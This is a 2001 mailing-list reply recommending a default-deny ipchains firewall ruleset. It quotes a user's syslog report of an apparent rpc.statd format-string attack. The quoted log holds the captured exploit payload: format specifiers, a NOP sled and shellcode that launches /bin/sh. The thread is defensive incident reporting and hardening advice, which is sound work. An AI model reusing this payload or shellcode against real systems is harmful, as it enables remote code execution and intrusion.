This is just a comment based on all the emails that I have been seeing here (not that I read them all, but...).
In theory if you are going to leave your system setup on a public network, then you should really be filtering ALL connections to the box and ONLY ONLY ONLY allowing the services that you want through. I don't remember if ipchains/filtering is in the default kernel, but if it is not then it should be and everyone should have everything blocked :) Then install a good basic rule set, something like: ## Flush all rules and set policies ## $IPCHAINS -F $IPCHAINS -P input REJECT $IPCHAINS -P output ACCEPT $IPCHAINS -P forward DENY ## DENY ALL (This logs deny'ies - DEFAULT = DENY) $IPCHAINS -I input -l -j REJECT ## Allow ICMP (But, REJECT echo requests (ping)) $IPCHAINS -I input -p icmp -j ACCEPT $IPCHAINS -I input -l -p icmp -s 0.0.0.0/0 8 -j REJECT ## Allow SSH $IPCHAINS -I input -p tcp -d 0.0.0.0/0 22 -j ACCEPT ## Allow Localhost $IPCHAINS -I input -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT ## Only allow packets without SYN flag set. ## SYN being set means we are trying to establish a connection ## without it being set means the connection IS established. ## This allows outbound to return. ## $IPCHAINS -I input -p tcp \! -y -j ACCEPT There is possibly a better way to do this, but I don't like the ipchains interface, so I have not bothered to learn it. But at any rate this is a great basic rule set to keep you out of having issues like this. Just my thoughts. Comments? --Jason On Tue, Jan 09, 2001 at 12:31:59PM -0800, [EMAIL PROTECTED] wrote: > I got the following (alarming) messages on syslog: > > Jan 8 13:34:23 yuban syslogd: Cannot glue message parts together > Jan 8 13:34:23 yuban /sbin/rpc.statd[159]: gethostbyname error for > ^X\xf7\xff\xbf^X\xf7\xff\xbf^Y\xf7\ > xff\xbf^Y\xf7\xff\xbf^Z\xf7\xff\xbf^Z\xf7\xff\xbf^[\xf7\xff\xbf^[\xf7\xff\xbf%8x%8x%8x%8x%8x%8x%8x%8x%8 > > x%236x%n%137x%n%10x%n%192x%n\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\22 > > 0\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\2 > > 20\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\ > > 220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220 > > \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\22 > > 0\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\2 > > 20\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\ > > 220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220 > \220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220 > Jan 8 13:34:23 yuban > \xc7^F/bin\xc7F^D/shA0\xc0\210F^G\211v^L\215V^P\215N^L\211\xf3\xb0^K\xcd\200\xb0^ > A\xcd\200\xe8\177\xff\xff\xff > > it looks like an attack (specially when I see /bin/sh hidden in > there). I searched the lists and it seems that this problem should > have been corrected before potato was released. Any reason for > worries, or is there any reason why I should think it was an > unsuccessful attack?
